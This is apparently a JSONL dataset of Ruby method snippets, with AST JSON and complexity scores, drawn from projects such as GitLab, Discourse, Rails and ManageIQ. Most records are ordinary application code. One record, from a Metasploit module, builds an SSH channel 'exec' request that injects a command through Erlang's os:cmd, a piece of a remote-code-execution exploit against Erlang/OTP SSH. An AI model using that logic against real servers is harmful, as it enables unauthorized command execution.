{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision/pxe.rb","start_line":28,"raw_source":"def pxe_server\n    @pxe_server ||= PxeServer.find_by(:id => get_option(:pxe_server_id))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pxe_server\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pxe_server\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PxeServer\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"pxe_server_id\"]}]}]}]}]}]}]}","id":"72cd40bc-93fb-4ae1-b813-c8e2bd7e6b4b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/enterprise_edition/upsell_buttons_component.rb","start_line":70,"raw_source":"def free_trial_button\n      render ::EnterpriseTrials::TrialButtonComponent.new\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"free_trial_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EnterpriseTrials\"]},\"TrialButtonComponent\"]},\"new\"]}]}]}","id":"96b0ec4a-79a7-46c1-896f-d80637760178"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/notifications.rb","start_line":15,"raw_source":"def self.comment_data(comment)\n    {\n      id: comment.id,\n      class: { name: \"Comment\" },\n      path: comment.path,\n      processed_html: comment.processed_html,\n      created_at: comment.created_at,\n      updated_at: comment.updated_at,\n      ancestry: comment.ancestry,\n      depth: comment.depth,\n      ancestors: ancestor_data(comment),\n      commentable: {\n        id: comment.commentable.id,\n        title: comment.commentable.title,\n        path: comment.commentable.path,\n        class: {\n          name: comment.commentable.class.name\n        }\n      }\n    }\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"comment_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Comment\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"processed_html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"processed_html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"updated_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ancestry\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"ancestry\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"depth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"depth\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ancestors\"]},{\"type\":\"send\",\"children\":[null,\"ancestor_data\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commentable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"commentable\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"commentable\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"commentable\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"commentable\"]},\"class\"]},\"name\"]}]}]}]}]}]}]}]}","id":"d78a5d9e-609e-4184-a497-1d5e25dd56b8"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":31,"raw_source":"def start\n    run # will call execute, and then \"complete\" the migration\n\n    # Now that the migration is complete, do some more work:\n\n    ENV[\"SKIP_USER_STATS\"] = \"1\"\n    Discourse::Application.load_tasks\n\n    puts \"running 'import:ensure_consistency' rake task.\"\n    Rake::Task[\"import:ensure_consistency\"].invoke\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"SKIP_USER_STATS\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"Application\"]},\"load_tasks\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"running 'import:ensure_consistency' rake task.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rake\"]},\"Task\"]},\"[]\",{\"type\":\"str\",\"children\":[\"import:ensure_consistency\"]}]},\"invoke\"]}]}]}","id":"d7c1cc3f-32fc-4d00-b47e-e0d20cf47cfb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/export_status.rb","start_line":97,"raw_source":"def cache_status?(status)\n      status.present? && status['status'].in?([Export::FINISHED, Export::FAILED])\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_status?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},\"in?\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Export\"]},\"FINISHED\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Export\"]},\"FAILED\"]}]}]}]}]}","id":"f9ae4ca0-9891-4f24-83d5-eb79c931616b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule.rb","start_line":418,"raw_source":"def v_interval_unit\n    if run_at[:interval] && run_at[:interval][:unit]\n      run_at[:interval][:unit]\n    else\n      nil\n    end\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"v_interval_unit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"unit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"unit\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"a1b2a4a7-0e00-4186-a479-2ff4a8825615"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/application_request.rb","start_line":34,"raw_source":"def self.increment!(req_type)\n    return if @disabled\n    perform_increment!(req_type)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"increment!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@disabled\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"perform_increment!\",{\"type\":\"lvar\",\"children\":[\"req_type\"]}]}]}]}","id":"72bd257b-7035-42a7-ae6f-ec679debde90"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/ssh/ssh_erlangotp_rce.rb","start_line":98,"raw_source":"def build_channel_request(channel_id, command)\n    msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new\n    payload = {\n      'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,\n      'recipient channel': channel_id,\n      'request type': 'exec',\n      'want reply': true,\n      command: \"os:cmd(\\\"#{command}\\\").\"\n    }\n    msg.encode(payload)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_channel_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel_id\"]},{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HrrRbSsh\"]},\"Message\"]},\"SSH_MSG_CHANNEL_REQUEST\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message number\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HrrRbSsh\"]},\"Message\"]},\"SSH_MSG_CHANNEL_REQUEST\"]},\"VALUE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipient channel\"]},{\"type\":\"lvar\",\"children\":[\"channel_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request type\"]},{\"type\":\"str\",\"children\":[\"exec\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"want reply\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"os:cmd(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\"\\\").\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"095ae47c-fceb-4158-98d5-883c8f1d385f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/groups/menus/customer_relations_menu.rb","start_line":25,"raw_source":"def render?\n          context.group.crm_group?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"group\"]},\"crm_group?\"]}]}","id":"0a50cb04-5380-4177-a9f0-dc0192ab13ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/member_interface.rb","start_line":47,"raw_source":"def merge_request_interaction(id: nil)\n      Gitlab::Graphql::Lazy.with_value(GitlabSchema.object_from_id(id, expected_class: ::MergeRequest)) do |merge_request|\n        ::Users::MergeRequestInteraction.new(user: object.user, merge_request: merge_request) if merge_request\n      end\n    end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request_interaction\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Lazy\"]},\"with_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"object_from_id\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_class\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequest\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Users\"]},\"MergeRequestInteraction\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}]},null]}]}]}","id":"6f52bf21-6971-42d6-9143-a5989e190867"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":1447,"raw_source":"def exec_main_query(async: false)\n        if @none\n          if async\n            return FutureResult.wrap([])\n          else\n            return []\n          end\n        end\n\n        skip_query_cache_if_necessary do\n          if where_clause.contradiction?\n            [].freeze\n          elsif eager_loading?\n            model.with_connection do |c|\n              apply_join_dependency do |relation, join_dependency|\n                if relation.null_relation?\n                  [].freeze\n                else\n                  relation = join_dependency.apply_column_aliases(relation)\n                  @_join_dependency = join_dependency\n                  c.select_all(relation.arel, \"#{model.name} Eager Load\", async: async)\n                end\n              end\n            end\n          else\n            model.with_connection do |c|\n              model._query_by_sql(c, arel, async: async)\n            end\n          end\n        end\n      end","complexity_score":45.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exec_main_query\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"async\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@none\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FutureResult\"]},\"wrap\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_query_cache_if_necessary\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where_clause\"]},\"contradiction?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"freeze\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eager_loading?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_join_dependency\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]},{\"type\":\"arg\",\"children\":[\"join_dependency\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"null_relation?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"freeze\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join_dependency\"]},\"apply_column_aliases\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_join_dependency\",{\"type\":\"lvar\",\"children\":[\"join_dependency\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"select_all\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"arel\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" Eager Load\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"lvar\",\"children\":[\"async\"]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"_query_by_sql\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"send\",\"children\":[null,\"arel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"lvar\",\"children\":[\"async\"]}]}]}]}]}]}]}]}]}]}","id":"79b638fd-1703-49f6-8202-ab5f80ea8d50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/rpm/repository_metadata/build_filelist_xml_service.rb","start_line":23,"raw_source":"def build_file_nodes(xml)\n          data[:files].each do |path|\n            attributes = dir?(path) ? { type: 'dir' } : {}\n\n            xml.file path, **attributes\n          end\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_file_nodes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"files\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dir?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"dir\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"file\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}]}]}","id":"526957d2-9c94-44f0-9f15-408828fd76bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":905,"raw_source":"def artifacts_expire_in=(value)\n      self.artifacts_expire_at =\n        (ChronicDuration.parse(value)&.seconds&.from_now if value)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"artifacts_expire_in=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"artifacts_expire_at=\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChronicDuration\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"seconds\"]},\"from_now\"]},null]}]}]}]}","id":"e8df1853-1114-4d97-825c-37a994811911"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/denormalized_has_one_test.rb","start_line":148,"raw_source":"def test_cache_has_one_on_derived_model_raises\n    assert_raises(IdentityCache::DerivedModelError) do\n      StiRecordTypeA.cache_has_one(:polymorphic_record, embed: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_has_one_on_derived_model_raises\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"DerivedModelError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StiRecordTypeA\"]},\"cache_has_one\",{\"type\":\"sym\",\"children\":[\"polymorphic_record\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"27f9860c-e41e-46b7-b87c-9f982b90b068"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/audit_event.rb","start_line":67,"raw_source":"def author_name\n    author&.name\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"author_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author\"]},\"name\"]}]}","id":"603a45e5-41b5-4341-bffd-0dc16fd993f9"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/rate_limiter/limit_exceeded.rb","start_line":4,"raw_source":"def self.time_left(available_in)\n    if available_in <= 3\n      I18n.t(\"rate_limiter.short_time\")\n    elsif available_in < 1.minute.to_i\n      I18n.t(\"rate_limiter.seconds\", count: available_in)\n    elsif available_in < 1.hour.to_i\n      I18n.t(\"rate_limiter.minutes\", count: (available_in / 1.minute.to_i))\n    else\n      I18n.t(\"rate_limiter.hours\", count: (available_in / 1.hour.to_i))\n    end\n  end","complexity_score":29.73,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"time_left\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"available_in\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_in\"]},\"<=\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rate_limiter.short_time\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_in\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rate_limiter.seconds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"available_in\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_in\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rate_limiter.minutes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_in\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]},\"to_i\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rate_limiter.hours\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_in\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]},\"to_i\"]}]}]}]}]}]}]}]}]}]}","id":"d2d1122c-10a8-4b4c-8aba-e3d3a2eb13ec"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/translations_controller.rb","start_line":30,"raw_source":"def translation_fields(klass)\n        klass.translatable_fields.map { |field| \"#{field}_#{normalized_locale(@selected_translation_locale)}\" }\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"translation_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"translatable_fields\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalized_locale\",{\"type\":\"ivar\",\"children\":[\"@selected_translation_locale\"]}]}]}]}]}]}","id":"79589dff-fb97-428a-a1a2-7a318c003fd4"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/oauth_callback_controller.rb","start_line":2,"raw_source":"def show\n    @response = oauth_client.auth_code.get_token(\n      oauth_code,\n      redirect_uri: \"#{base_url}/#{provider_name}/callback\"\n    )\n\n    handle_response\n  rescue StandardError => e\n    ChatwootExceptionTracker.new(e).capture_exception\n    redirect_to '/'\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_client\"]},\"auth_code\"]},\"get_token\",{\"type\":\"send\",\"children\":[null,\"oauth_code\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_url\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provider_name\"]}]},{\"type\":\"str\",\"children\":[\"/callback\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_response\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"